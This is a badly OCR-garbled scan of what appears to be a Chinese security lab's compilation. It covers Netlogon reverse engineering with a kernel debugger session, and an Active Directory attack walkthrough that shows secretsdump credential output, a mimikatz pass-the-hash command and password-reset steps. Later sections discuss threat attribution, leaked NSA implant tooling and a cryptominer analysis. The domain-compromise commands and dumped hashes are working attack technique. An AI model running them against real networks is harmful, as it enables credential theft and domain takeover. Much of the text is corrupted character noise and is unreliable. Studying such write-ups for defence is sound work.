£ | KlGetOutgoingPassward S text

_:'r- tlpRemovebBadPassvordacheEntry L texd
I NlpZereBacFassver divuntindde « toxd
[ WlpZeroBacPassverdlountlocal Ly . taxt
f | Wl8etdutgeinzPasswerd L tex
7 B1etTnconingPassward . texd
'f ¥15et IneeminzPassword _terxd
.F KlSanChangeFasswordianedliser . toxd
I WlChanzePasswordiisher L texd
[ WetpServarFassverdsat . taxy
Ed KatrServarPasgverdiat . taxy
[ Werr§erverTrustFasswerdsbat . taxT
£ | WetrServerPassverdiet - texT
£ |NetrServerPassverdiat? . texd
Z fetpisticcountPassword « text
L[| Hetpbenaratelaiaul tPassword tex
[ W1ChangetachadPasewards . toxt
/| I_NetServerPagsvordletd O - texd
Z 1_NetServerPazsvardlet 0 L text
f | SanIfetPasswordinfalnlc_0 . texd
z SanlfetHachinsPassword 0 . texd
|f | LsalCallPackageFass throush O . texd

B 1o wiew-t [ B Paeodecede—4 B B Hex View-1

Structures Trumnz

[_MetLogonMixedDomain(&vA1);

i {22 € 0)

{
N1PrintRoutine(
238 256164,

tunsigned int)va2);
i
else if { [val }
(

F = 128;

<trip

[11c L 10 JlGenerateRandomBits( (F t}og TR |

N]Pr‘m(Routh(?Sﬁ-]ﬁd L"Can't NIGenerateRandomBits for clear password\n", -} 1
if (v7>8)

XM
o T, 2
e e T T [SeufS MK

= MlSetOutgoingPassword(( DWORD)w3); T_

ifF{(vi?<¢o)

13 A BRI 21 N1GenerateRandomBits =4 BENZHS, EA netlogon ARSZTE Isass 2R, I 1EHR

NETLlogon ! N Lpnangerasswc\rcuuxnea :

0033:000007fe” fcBf5331 443bff cnp
0: kd> p

netlogon!HlChangePassword+0xbec:
0033:000007fe" £cBES334 76lc jbe
0: kd> p

netlogon ! H1ChangePassword+lxSe:
0033:000007fe” £cBER336 488d8424fDDDDDDD lea
0: kd> p

netlogon!HlChangePassword+0x5{6:
0033:000007fe" £cBE533e 418bctf nowv
0: kd> p

netlogon ! H1ChangePassword+0=5fd
0033:000007fe” fcBf5341 BR3938 cnp
0: kd» g

Breskpoint 3 hit
netngDn‘NlChangePassword+Ux622

HITANIEIR, 7£ RtlUnicodeString £ MR, 1824 SourceString ATFENBENVEENZER, tb
AMIXEH 120 D

r15d. edi 00000000 0117282 16 00 00 00 00 00 oo ef d5 &5 Oc a8 d5 01 00 00

00000000 011797 00 00 00 00 00 00 00 00 00 80 b4 16 00 00 00 00
00000000 0117=@ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
et Logon | N1ChangePassvord+0x60a (0 00000000 01171 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 00 00

00000000° 0117=8d6 00 00 68 7d 08 0D 00 D0 D0 00 61 00 61 00 61 OO
00000000 0117=Beb 00 61 00 61 00 61 00 61 D0 61 00 61 00 61 00 61
raz, [rsp+0F0h] 00000000° 0117900 61 00 61 00 61 00 61 00 61 00 &1 00 61 00 61 00

00000000° 01172915 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61
00000000 01172322 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00
ccx, risd 00000000 011733f 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61

00000000 0117954 61 00 61 00 61 D0 61 DO 61 00 61 00 61 00 61 OO
00000000 0117969 00 61 00 61 00 61 00 61 D0 61 00 61 00 61 00 61
word ptr [rax].di 00000000° 0117972 61 00 61 00 61 00 61 00 61 00 &1 00 61 00 61 00

00000000° 0117393 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61
00000000 0117328 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00
00000000 0117=3bd 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61
dpbn Lol | impe Bt 1 Tnitlr 00000000° 01172942 16 00 00 00 00 OO 00 DO DO 00 00 00 00 00 dé 1d

aaaaa d 00000000° 011797 00 df 11 8d fc fe 07 00 00 O1 OO0 00 00 0O OO0 OO0

LO000ZF oo f - f AL A s 0200 1l
kdy eu Dlel?EBED "
kd>

reskpoint 4 hit

00000000 0117e3fc 00 00 00 00 09 00 00 00 00 00 0O 00 10 4d 17 00
00000000 0117eall 2b 16 00 00 00 00 00 80 37 16 00O 0O 00 00 00 00
00000000  0117ea26 00 00 B0 be 91 fc fe 07 00 0O 0O 0O 00 00 00 00

{_grpe i gy pes e e
0033:000007fe’ chfSBBf ercGeUlUU call
0: kd: g

< m

et Logon | N1Set OutgoingPassvord (00~ |00000000°0117=a3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=/ |o0po000D° 01172450 00 00 00 00 00 DO OO 00 11 00 00 00 00 00 00 00
00000000 01172465 00 00 00 11 9d ba fd fe D7 00 00 &0 =4 92 fc fs

~ 1 |00000000°0117ea7a 17 01 00 00 00 00 00 00 00 00 00 00 00 00 01 00

|«BUSY* [Debugges is running. ..

.

Memory | Registers

RINMERE P S SHERIT B RERDS 120 T
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Windows -SRI P -t BT RBEAE

Domain FQDN

Policy subsystem is :
1, default {f832e49d-5fcd-6bis-4ie5-4bldaBeetB59}

LSA Kev(s)

galaxy.local

1.11

(601 {f832e&9d—5fcd—6b&5—&&95—&b1da8ee&@59} 9979592193c51719¢d964 1a18038b3
569chc3dd3dic3be feaBdi9 tbco9b8

[Secret
cur/text:

$MACHINE.ACC

dddddddddddddddddddddddddddddddddddddddddddddddddddddddddadaaadad

aaaaaaaaaaaaaaaaaaaaaaaaasanasaaaaaaaaaaaaaaaaaaaa
NTLM: dc46a3294add5892773896F14ae2f28b
SHAL : b 73554568adchf108cf268d0eifbl2cat8088071

old/hex

ed 2c 8a 96 cB Sc ch fe 9f Je 1f 13 ed be 23 96 8f 94 64 5O d9 4

C:\Windows\system32\cmd.exe

sntoolsrsecretsdump.exe galaxysadmin

Impacket vB.?.17 — Copuyright 2802-2018 Core Security Technologies

[#]1 Dumping Domain Credentials {domain*uid:rid:lmhash:=nthaszh>

{2?.8.8.1 —just—dc—user mctc—

[#] Using the DREUAPI method to get NIDS.DIT secrets

CTC-PC%:1234:aad3b435h514B84eeaad3bh435h514B4ee :dc46a3294adB5892773896f14ae2f28h:

[#]1 Kerberos keys grabbed
CTC-PC5:aes256—cts—hmac—shal—96:9784c63e39d8b6 744 7ad?6c29d408f68a3dB66BA163 hdl
f8421f256695cPaa
CTC-PC%:aes128-—cts—hmac—shal—-96:73785a2f fd?635de8f ch?11c5788h5h5
CTC-PC%:des—chc—md5 :452e087852aa25868
[#] Cleaning up...

Aéﬁfr%*ﬂiﬂ‘%?’fﬁﬁigéﬂiﬂﬁ’\]@ﬂ :

1. B5T0R, FREE

BIANERAT, BN ROERDE 30 RIEK—

BXZ

ﬁMTu Eﬁﬁﬂﬁ% BMEEG

e ew Favorites Help

EFPImECIREN, FAZEERM,

Computer\HKEY LOCAL_ MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters

ndiswanlegacy

MSTEE ~ || Name Type Data

MTConfig | (Default) REG_SZ (value not set)

Mup . 7% DisablePasswordChange REG_DWORD 0x00000000 (0)
TVHIREY ab| DynamicSiteName REG_S7 Default-First-Site-Name
Laaﬁ:,i\e;:ﬁp o8 MaximumPasswordAge REG_DWORD 0x000000Te (20)
Natural Authentication || #¥|RequireSignOrSeal REG_DWORD 0x00000001 (1)

NcaSve Edit DWORD (32-bit) Value REG_DWORD 0x00000001 (1)
NcbService REG_DWORD 0x00000001 (1)
NedAutoSetup Value pame: REG_EXPAND_SZ %SystemRootd%\system32\netlogon.dil
ndfltr ‘D‘Sab‘EPESSWdeChEHQE REG_DWORD 0x00000001 (1)

NDVES Value data Base REG SZ L

NdeCa;J: ‘E | (@ Hexadecimal

NdislmPlatform =

NdisTapi (_)Decimal

Ndisuio

NdisVirtualBus Cancel

NdisWan

£ 24 DisablePasswordChange 9 1 AJLAZ1F1T BB S22 Z RS, {8 MaximumPasswordAge B] A
EREVAEFHZBH(E]R,
X TR VB EEHFNHMET UEZBITENNROZRE A EREZIREE/MAS:
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Windows B 37RRIA P -1 B S RIKEA

lden tickel for "admin @ galaxy. local’ s i ihmitte| (2089/07/1¢ ; PerfLogs :
2019/12 Program Files
2015/12/14 Program Files (
2015/12/14% T tomcat
2019/12/03 3: > Users
2019/12/63 33 Wim

2,423,936 qf

esktop\xBYreontreol

2. RANFHE
MR BN RE—LESRRAVA, AR EREIZARINR
tl:!ZDZZEI"FrI' m test] FEIEIE A

C-\)net_group ‘domain admins"” /domaln
% galaxy.local | Hl| 224

Domaln ndmlns

Administrator TEST1S

BB AFATFAEILA hash £, £ testl B SR IRENTAB)EIZRIAN R,
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Windows -SRI P -t BT RBEAE

[ Timikatz 2.2.0 %64 (0e &

) Primary

mimikatz # sekurlsa::pth /fuser:testl$ /domain:galaxy.local /ntlm:d51e8f1778d93ef
Jakcd965027098eel
user o testl$
domain : galaxy.local
program : cmd.exe .
impers. : no i i . 6.1.7601]
NTLM PID (11gl}g8'["1??8(193863611(2(1965@27@98899 | 'ﬁ (c) 2009 Microsoft (:orporat;i_cmn
TID 2624
LSA Process is now R/W C: \M1ndous\sgstem32)d1r \\dc\cS
LUID @ ; 1881454 (00BOA0OA:001chS6e) B 5 gE3p- 1F24
nsvl_ B - data copy @ DBPOBABOALGFSOAG - ! TE
kerberos - data copy @ BBBOOOOOO16DBIBE T
aes?56_hmac -> null \vdeve$ HiHF
aes128_hmac -> null
rchd_hmac_nt 0K 2019/09/19 : packetbeat
rci_hmac_old 0K 2013/08/22 : PerfLogs
rcd_mdé 0K 2019/11/27 23: Program Files
rck_hmac nt_exp  OK 2019711727 23: Program Files (x86)

rchd_hmac_old_exp 0K
«Password replace @ 0000000001738C58 (16) gg]g;;g;gl ; ::2‘”15

mimikatz # 2019/12/02 12: tools
- 117019/89/03 16: Users

hY

||

2019/11/27 : ( Windows

o =
=21

T ERAENERFERS SRR E L, FAERFEARSS23BAIAE T Exchange Trusted Subsystem 46, 33
ETHEAS DACL IR, BIARTAZRHERINER.

3. MAITENEIRESH

EAEBIEAF test 45 testl THEAIINIE, BEE testl BIEM, mS-DS-CreatorSID B] IABZ|BIEE

Y sid:
( =
[ - Ik
| Attribute: mS-05Lreator51D
! Object: CN=TEST1.CN=Computers, DC=galaxy DCocal
| :
| Syntax | Sid

Schema |CN=MS-D5-Creator-510 CN=5chema CN=Configuration,DC=gal | | Go to

|
. Values:
1 |15-1-5-21-2872092797-3986854212-3555391956-1106 2
1 }
F] i
| g
| 3
| |-
1
i oK
‘H-r'l-"\!-"" LT ST L LT 'r"H & R I.‘-W lulf
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BERE Windows SiF4SREIA P -1 BALX SRR

BE test] 1T EAAI DACL:
g R || e 3 2 h0vy AYER
|:| B2 msDS-GroupManagedServiceAccount TS ] s FTEOH 302
[] 832 msExchActiveSyncDevices TS [ g3 T2k W
[} #HB& msExchActiveSyncDevices 318 [P =0 g
N E13 msExchMDB T7€ [] validated write to MS DS Additional DNS Host Name
[] ##EE msExchMDB X7 v EXNEE
[7] 813 msExchPrivateMDB TS v BsrEER
[ #P% msExchPrivateMDB 3T ¥ Bssrs
[] 82 msExchPrivateMDBPolicy 31$: [] B%AERZ) DNS THIEMSA
[] & msExchPrivateMDBPolicy 318 [ BB ERSEEERAEA
[] &3 msExchPublicMDB 318 v RFSASEATE
] #F& msExchPublicMDB 38 VI ESTE

[] 8132 msExchPublicMDBPolicy 318

AINERZ TEERBRINR (EARBFERRNBD A EEEN, ERSH, EERBAINUE
AREFERZBRER TEEEDE) . MRBAVZET test B IINER, M EREERBINRE
B test] TTREAAOERS, MR testl TSNRIATF, AIUTEIRFZANNR (RIHER 2)

AR BWLAEENEEEFHTENNRNER, FREEEEFIHBENE, XESHEEXRR
'8

ERNU TR ANEET BN RNEB NS EE:

Set-ADAccountPassword test1$ —NewPassword (ConvertTo-SecureString -AsPlainText —String “aaaaaaaaaaaaaaaaaaaas
-force)

4. FTENAREE
ERAY spoolsv.exe JEJM T — T IRSZFE T rpe. RVPIANERF 2R, EHA RemoteFindFirst-
PrinterChangeNotificationEx X PR ENGITE I —1 unc #8712, FTENNRSBMESEIEKIZ unc 12, H
FITENHLZ M system IXPRIZITHY (FTENAL spooler BRZZIBITE system AXFRT) , FRAFRATIAEHTENN,
rpe, B{EFTENHARSZ @A AR IEKZZEIA net-ntlm hash ZHL2ZFF hash, XEFRITMERTFEER
THEN (FE. iHRSHBNR) @ESHEKE SMB INEANIER, WMRBAZH T —8TXTARE
IKEITEAL, PRS2 EFIR MR B,

5. CVE-2018-8581

R R RE A AL HERFE R S5 s RAOETRFREET HTTP 89 NTLM TAIE, BT HTTP Z|
LDAP AIASEERRBIA S, FATrIAFR4EIE R, FIABRAEARSS 2389 writeDACL 451%, RIMESE
MFAF hash,

SERMN:

https://adsecurity.org/7p=2753

https://adsecurity.org/?p=280

https://adsecurity.org/?p=2011

https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-
accounts

https://blog.netspi.com/machineaccountquota-is-useful-sometimes/
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http://galaxylab.com.cn/go/?url=https://adsecurity.org/?p=2753
http://galaxylab.com.cn/go/?url=https://adsecurity.org/?p=280
http://galaxylab.com.cn/go/?url=https://adsecurity.org/?p=2011
http://galaxylab.com.cn/go/?url=https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts
http://galaxylab.com.cn/go/?url=https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts
http://galaxylab.com.cn/go/?url=https://blog.netspi.com/machineaccountquota-is-useful-sometimes/

BERE Windows SiF4SREIA P -1 BALX SRR

2201 XTFFRBALRE
HOTLIE (Galaxy Lab) BFLZEHFEELXEH TH—MEXNBIUNREXNE, TEMBLRER
AARMREMZLIF. BIAAMEEZEE, B, web, android, ios, ZTEXREREFS
TREHME,

22.0.2 XFEE
758, FTLRIEULNETRATEMRGEA, ME windows, web, ZIBINBEXELZEMMR, B windows
12X . Windows IHZE;

22.0.3 FUEARE HG
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23.1

AR A"

{E&: baronpan

3&JF: baronpan

KEHEMYAA (Attribution) SEEABEM DTG LENER, XUEEFERKINEBZMN—
Tad, EMEREXRHAAER., 58NS, &IOE Twiter EHEFRIFITLAEEN, HREHE

ENRERLEBINE, FINREE—RECHNEE., ATEEKFLERR, REEFNZIKMMILS]
ETO
BB R

—t]JiEF & Chris Rohlf WLZEMR AR, HEX 45 B CISO 122 EEXN FRGHEVARIEE)

BRIT, R https://struct.github.io/attacker_attribution.html,

@ Zuk :: #FreeTheSandbox & v
' @ihackbanme

My $0.02 on attribution:

1. Attribution almost never matters.

2. It matters only in Defense/Gov/destructive attacks

3. No vendor can properly attribute code to specific threat
actor - deception is a thing.

4. Only Gov can do attribution since it requires sigint,
humint, etc

[RYGHEST: https://twitter.com/ihackbanme/status/1190757399637872640

Steve Miller N
@stvemillertime

Attribution almost never matters to people sitting on the
sidelines. When you're in the game, it matters. ~ o.ron020

JRIGHEST: https://twitter.com/stvemillertime/status/1191009868716617728

MERE, AIsERNBRBEXBRNG. REMRENMAERXOERER, ERBIFMER
Mo TEERDTARTIE, RBREHEHEARME—ZREERANRE, REZSHXZFHIA
HFAEEMROVEE,
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https://mp.weixin.qq.com/s?src=11&timestamp=1578033718&ver=2073&signature=I1ShDXM6Bvq97A06A4sh3DU1RfGdIFl0DlRY9ptEmiJK7oXfjglEwn0J4f1SnndHoYgiL0kgdEANJuAGJdY7IaW9mBGYsOSevbAxctNISyJu2zuCNn7n8e6Z1wCuU0YE&new=1

BERE HRMEBEN R
23.2 JFRAMNER

F—TARSEMENRREE SHINERE, FRMEERNGEBIE. FESFNMFXE. REESHN
AEATREREMZI—TEMFHIA. AR, A5, LEARERARXNEERENIRENE IP i,
XEB 3 5|FBEE DNI £ H Cyber Threat Framework B9FET1_E M8 Cyber Attribution B9—LEW = (R
A4, https://www.dni.gov/files/CTIIC/documents/ODNIAGuidetoCyber_Attribution.pdf) ,
Bt —EBRmixBA T :

MERERAR DT EEEN, EREAAEE, KRB RBIRARLGESNBNHERTNRBERIFR B,

Establishing attribution for cyber operations is difficult but not impossible. No simple technical process or
automated solution for determining responsibility for cyber operations exists. The painstaking work in many
cases requires weeks or months of analyzing intelligence and forensics to assess culpability. In some instances,
the IC can establish cyber attribution within hours of an incident but the accuracy and conf * #nc2 of the
attribution will vary depending on available data. Mg

FENAEREZZEITER: 1. PRENRR, FANESR; 2. —MFHRIRFIMEID; 3. BXROT

MY F RO AGFRR, KEPARSHTERRE TTP EH, BEIHHE TTP MHREMH
TTP NESMAIERLRRE S HRIRE -, HEFEXIE. A, & TTP BEHKITEREE, *
ERFEMRGE—TEMAEE, B2, NMRHIEEMEBFE, TEBEMRFE EEMZHN="
EENEIE,

23.3 FENEIF

RAZEGFHRFNIZEEE Dol 7 2018 F 9 B AT — R EE RS Lazarus APT HZR
RUEIES, EHIBEBRE 17901, FHER THEARWITEH L APT WHHEH4H Lazarus APT 48
AU EENABE B FIHERAR —iE, MPAtEAIUELES APT SHRENFGRSAE
THOEHEEA.

MIREABTHKE, BT EME+FNERNMAELIENLORESN, AERT S I HEEH
HURTES, MRKEE, REBEERNERMERIE, KRETARZEESHREXR.

FEIRENTL, HERTENDITERRAMRBIEEICR, 85F:

G BH RIS B AR SE A IR N A EGEIEE

mRfE . HRZMEEE. LB RMRS HE

B=ARE BRHOOEDEENDITER

bR D ARBRIRAVEIERIRSN, MIBIERIHENOTIENLSL, HNEEEREEMRIRIEIE,
B

NI FIREER

MEEMIRIERILER, EREM, shSERIEM, DNSIERFH

BRHE, SEERSIE, HXNENARRICRS
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RN ERERN ‘AR

BER
RimIR 8 IR & T 8) BB M SR RYIC 3%
1P 4 ZRYTh 8] B BX I STIRI R
BEILIE, BERARMEXFHAXEE
L2 AR
BRUELASY, XMABEZRE] AAEXIREERIA T IEHENERE] #HEE4PREGEMER
AR E R ImA] 1P Hhilk,

issuel IssueMakersLab 52

MAKERS

LA Bl @issuemakerslab

We have confirmed that one of the hackers who attacked
India's nuclear energy sector is using a North Korean self-
branded computer produced and used only in the North
Korea. And the IP used by one of the hackers was from

Pyongyang, North Korea. This is more valuable than
malware.

% DNI FE Cyber Attribution ST T NE N R4S SHT TS R E ARSI
.
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Cyber Attribution Examples

The chart below shows how we use analysis of competing

hypotheses in combination with the key attribution indicators
to show what data we have to link the cyber incident to the actor.

Data to associate @ Sufficient @ Limited

with incident:

CYBER
INCIDENT

Major
Compromises
of Global

IT Firms

s
o
=
<
s

‘Wannacry
Attacks

' NotPetya
Attacks

Saudi
Petrochemical
Facility Attack

DECEMBER

NORTH KOREA

KEY INDICATORS FOR ATTRIBUTION

External
ADVERSARY Tradecraft | Infrastructure Sources

RUSSIA

IRAN

NON-STATE

RUSSIA

CHINA

NORTH KOREA*

IRAN

NON-STATE

CHINA

NORTH KOREA

IRAN

NON-STATE

RUSSIA

CHINA

NORTH KOREA

IRAN

e @

NON-STATE

S

* We highlight the actor we assess 10 be responsible for the cyber incident when we have a sufficient body R by e
of information to link the actor's tradecraft, infrastructure and/or malware to malicious cyber activities. \f\_\,‘ DEror) P Erl

23.4 VFERANKE

XEBRIAE ST LA DNI B Cyber Attribution XHESRE A B #

23.4.1 38kR

DNIIAAVAR D EZMRE T AT 4 TNEHR:
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BEZRE ERRM R ERN VAR
Tradecraft: KEEH LGN MEMBIVER, BT TTP, ANRFNIIREN FHRATENR
MERMNLE, EREFRERNE, —BREXEABAF, WrREHRELMESAIHRE,
Infrastructure: WEHEF A MNBIMWE, A, REHRERERNERBENE. (5TN)
Malware: REEFLMEENKRETRSE. WEXFAITA. EHAASARIE, EEREH
ZRAEMKEAHARNTR, (5EMN)
Intent: HANEEMEHH,
bRT bigtgtmor, HBESEIMNFBERRN AR,

23.4.2 AR
IR DT ZPrERZM A, B1E@IT HUMINT, SIGINT MAAE, ME#tT. kREIEFFE, XEX
OTIeETF ERERE BB AR DTN EAR S XM EE G A,
DNI 2 R)AR 589 /-

Looking for Human Error: #EIXHZEIC THEIR, SFEEBNEAE. HEER, HREEN
C&C RSB HVERBINBENINGE, XEWLRIBAFRA OpSec error B, OpSec mistake,

Timely Collaboration, Information Sharing, and Documentation: KzBtB9NaMN FItHIE, thl@HE &
AN AL E AR AENKEENBEEN TR 2, SEESERE. 2UENME. AFNEUEEFEREE
NERALNEICIRMEE), SENEMD T ESERNBTBEIIEENRRENRZ N, BiX—Rth bR
e MEIRY, 45502 APT EX i,

Rigorous Analytic Tradecraft: [™ZRIZ4T, DNI 2K TN =H{ER Analysis of Competing Hypotheses
FEFHBRABEE D TR E

Analysis of Competing Hypotheses (ACH, HmERIZDM) UTIHT —LESERZRMIFMTHE ACH HiA

HEPHTERSZEA DTN EMNZTIRMEINEREREN AL E, RERSRERNTER
4, EARFRIEEH A BETISEIRRYFIE .

BLREZAEISEIMIFRADTAINE, DNIIRE T M=TZME:

de-layering the attribution assessment: 73 /E¥(d, BIEMIE . ASAR. ZPE=R.

providing the confidence level: IRMLERAIBTEMRF, 97 High/Moderate/Low, THEBE]EMR
M IEHERIRT IR AT, BIEERR, IHERORE (Hi%, B, BN, ET™XEX) =15
H., BiHMESEMZMHEICHIER.

Identify Gaps: fETTIEIRISE SRS EIMIIRNSICH, FEBHNEA.

MBKE, FRFEMIT B4R T S FEIIFIE. IBS15E. AR, EZEBEMEIN
A, BEEAR, HIREDF. IWILENEZRXBEMSEEZEXEYE, ZRENEELTHEIR, T2
ZI = Hl)3ERY False Flag (mistake or false flag) ,

PR D EME T HEAHRANEMUEFRNER, FREBIESS T EENIERESTRER <
MEM.
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AEREHENET NSA REBRIERFRD T LR —LTF,
BN —OHENETTEE IR, B (Pay attention to that man behind the curtain: Discovering
aliens on CNE infrastructure)), E 2 B INE KEPHER T AIEITZ £ /F (CSEC) B Counter-CNE B[] (CCNE)
IR AR , [R 46 5545 AT U, https://snowdenarchive.cjfe.org/greenstone/collect/snowden1/index/assoc/HASHfcfa.dir/doc.p

23.5.1 WARRIORPRIDE

— 1 CNE F&a, & (WP), EXZFZMiEMAATBRENARUMNEERE
HAP KBS\ E
Slipstream : machine reconnaissance
ImplantDetector : implant detection
RootkitDetector : rootkit detection
Chordflier/U_ftp : file identification / retrieval
NameDropper : DNS
WormWood : network sniffing and characterization
HApRBIT Slipstream WWERRSHIEMNERRIREEIE, U xml 2, (BIFFIIAERIA PDF, X
EMANEET)

23.5.2 REPLICANTFARM

REPLICANTFARM 22— MEFHHEEMNNAR S, AT WP B0% AT 2 EMsnic, &R RF, HF
FERFMEEB TN E RS ELR,

324



BERE RRMEBEN PR
HATREA T EARSUHE:
Actors
Implant £
ET AL
ET WAL
FERIRUT, PDF PRl 7 @ E XARRAGT 8 A SRR -

REPLICANTFARM generic modules

* Cloaked * Kernel cloaking

* Recycler * Schedule at

* Rar password * Ntuninstall execution
* Tmp executable * hidden

* Packed

* Peb modification

* Privileges

* MS pretender

« System32 “variables”  QOther ideas....

» Strange DLL
extensions

HRSMHAMZA.pl FERAEM, EERVN mod_ ¥ _ ARHEE _ TEABRRpl 2
RF EthE R EEEEMREARNMGR, #iE2R, EMigiE (IP. DNS), !ZD%ﬁ?ZIHE_F,
AT BEMNENGR, RS RIRIRE APT AL,

w7 DETON P
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- i1 -] G| Googi
4 MostVisited  Getting Started o Latest Headlines @ LTT < Opmations < TW... ¥ Opser - klswn - Trac | CONE/Qpsec Systems l“tpﬂnhelmmrrlnfuf
4 hhttp://obeliz/ # 4 CONE/Opsec WRIO Mlerts » - [ ] CONE/Opsec WPID Alerts > | * Opssc- kisvn % | Opsee=klan '-«

CCNE/Opsec WPID Alerts

Nore that the search i done with the fields ar per! regulor expressions. .

Eam e
[ B, T TEREs e oumcenmes  ssssmmnsbiemens i
-m- = A (e 165 U CAREOR 0l et 1300_AF_ALOCWMESS pi mod 17 rages m \mea_i06_ K _TCRSRVE | :‘%m,_mu BOC 3 ML I S0 P ROLANT.X oo POu
. |mod 100 101 PEGRACELDy: [Pl [meds: ocleaduion: gt mm.m_ w0 L G = WSS WINEEES ol U CRALASE . mee KT
onmwm SEET I S - b1 e ol [t 2 swinemliez of | 182 TINVWES ol |2 300 TRE WIHIN 5 mod #1 33 SELET g ras & imemades pl R
- Ll COPE A S AR ALEER. b sl s s ol (mod_i3 s gt mee 503 LMK CYTELE  LhE, DIESELRATTLE S  med 302 55 Shagpl o0, S0_CRIICOPCRE mod RTY,
® e T #
T
WPID Kegern: Mot Kwexp. 700 5G_ mr‘;‘
L
Susbersit useny
ALERTS
Module: mad 700 $G_CHOCCPOP pl Date: 2007-09-30T10:18 41 906 |Ia¢: SG File name: | ‘datastore’archave 200909307 0 TRIDDXG0074573_ 18 Y2000M09750 HI0MI

Dwtails:
Possble SNOWGLOBE CHOCOPOR process detectsd and.exe /C *'c;RECY CLER S-1-5-21- 104 7066261020465 75-220983236-500 rar exe” a ¢ -mul -bplockiess -aprieghbi -tnid tewp 108 rar oo M ATMON Users fua

Possible SNCWGLOBE CHOCOPOP process detected cmd.

e /C "'c:RECYCLER §-1- L FOG669-41 02346875 22098 3226-500" rar exe” 2 ¢ -imu! -hplockless -aprieghh -tnid temp 168 rar o MDAZMON Usersdu.z
Possible SNCWGLOBE CHOCOPOP process detected: YCLER'S-1-5-21- 191 736600-41 02 1408 75- 2209832365000 ar.exe”™ a -r <2l -hplockiess -apSNazarian -mid CoRINDOWS TEMP U Strar o MDAEMON Us
Possible SNOWGLOBE CHOCOPOP process detected FLLERIS-1-5.21-191 7660 465752209832 36- 500 ar exe” a 1 -Euld -hpleckiess -apSNaradan -on!d C:WINDOWSE TEMFP 164 rar ¢ MDABMON s
Posshle ENOWGLOBE CHOCOPOP process detected. omd.exe /C "' RECYCLER 5-1-3-21 TOOG09-4 102 3468 T5- 220983236300 ar exe” a -r -l -kplocikless -apSNararian -mld remgh léSrar ¢ MDAEMON
Possible SNCWGLOBE CHOGCOPOP process detected: cmd exe /C *'c/ RECYCLER 5-1-5-21- 104 70666941 02346875 - 22098 3236-500 -ar exe” a -1 -mmul -bplockless -apSNaranian -mld t=mg 66 rar ¢ MDAEMON'T
Possible SNOWGLOBE CHOCOPOP process detected "' RECECLER'S-|-5-21- |91 796606051 00 346875 210983236-500 raz.exe” & -+ -zl -hpleckless -apipnazan -mld C 'WINDOWE TEMP 1 66.rar ¢ MDAEMON Use:
Possible SNOWGLOBE CHOCOPOP process etected "o ’RECYCLER'S-1-5 21- 1)1 7666 I46875-220083236- 300 arexe” a 1 =ud -hpleckless -aplpmazari -inld CAWINDOWE TEMP | 66.1ar oo MDAEMONUs=
Posshle ENOWGLOBE CHOCOPOP process detectec: cmd.exe /C *'c'RECYCLER.S 2 LRG0T -4 02326878 2209832 36-500'rar exe® a -r -imul -kplocidess -aplmnaran -mld temp 160 rar ¢ MDAEMON LU sersif.
Possible SNOWGLOBE CHOCOPOP process detectec: emd exe /C "'c/ RECYCLER 5-1-5-21- 101 T96669-41 023368 7522098 3236-500"ar exe” a -+ -inul -iplockless -apkpnarari -tnl  temp 166 rar ¢ MDAEMON Usersii.
Possihle SNCWGLOBE CHOCOPOP process éetected: * YCLERS-1-5-21-101 F26660-4102 1468 75- 220081 236-500' 2. exe” a -+ -zl -hpleckiess -apmeaadati -mlé CIWINDOWSIEMI | 66.rar ¢ AMDAEMON User
Possible ENOWCLOBE CHOCCPOP process detected: "o VCLER §-1-5.-21- 101 728660-4100 1468 75- 120083 236- 3000 o exe® & + zud hp'.oc!u:ss apmsaadati -l COWINT = IE\lI‘ l&ﬁx-&l © MODAEMON User
DPossble ENOWGLOBE CHCCOPOP process detected. omd.exe /C Ve RECYCLER. 8- 1-5-21- 101 TO6669-4 1 0234687522008 30 36-500"ar exe” 2 -1 vmn. hplocnlcss ~apmsaadas c;»ﬂ,flﬁ!!}“ﬂ F}cls&.l.
Pouﬂﬂc ENOWCLOEZ CI{OCOI‘OP process wln.lcc. cmid. exe /C SRECYCLER.S i sy - -lpuluidi '-h:lﬂ i 66 3 2 lDAE\‘lDN Lw!s}.l.
.--ummrx‘m.t-—-

23.5.3 TERRITORIALDISPUTE

X #R TeDi, =& 28I Shadowbrokers ittt 2 NSA windows T EBH—PMER, EHF RF —##RBTIR3IE
FRILERAALR, MEE AN SE Y BT BAI 7 S B ARAU4SESREY

326



BERE HRMEBEN R

PROCESS_NAME_SET = N
PROCESS_DATA = None
SERVICE_NAME_SET
SYSPATH_STR = Ni
SYSPATH_FILE_SET = N
SYSTEMROOT_STR = N¢
SYSTEMROOT_FILE_SET
DRIVERPATH_STR = None
DRIVERPATH_FILE_SET = Nt
DRIVERPATH_DATA = None
PROFILE_PATH = Mone
USER_DIRS_LIST = None
HKEY_USERS_DATA = None
PROGRAM_FILES_STR = None
PROGRAM_FILESX86_STR = None
ENV_VARS = None

BRUEIAGS, HPEFE—T sigXX FE, 817 sigXX AR —THEAR. ITBELEEHNRE &
BAEDHE, 1400 hitps://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf,
XEMAZERET
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LSDMiner EikEAFI A DNS TXT @ ESEH A EIE

fE&: Jl4Yu
SR https://www.anquanke.com/post/id/193116

1. #R

10 BrE), E)ZINELTEHE— LSDMiner(|HFR Watchdogsminer) & #15E&1 N — AR (MDS:
114d76b774185b826830cb6b015cb56f), ZHEf AME T —HR, EEMAEI T DNS TXT LR K ERE T
AES MZBEHE, FXITHINE, MAHETT. EREERD, Google EREREARFABEIA—RE
NewAesCipher128() , ZIEINEZE/AT] Anomali EZ 571X Case :

go NewAesCipher12§ § Q

Q23 @wE QEF BDa OBy 8z BE I8

®KENLY 1 RER (AT 0.39 7))
ISEAREE: go New AesCipher 128

lllicit Cryptomining Threat Actor Rocke Changes Tactics, Now ...
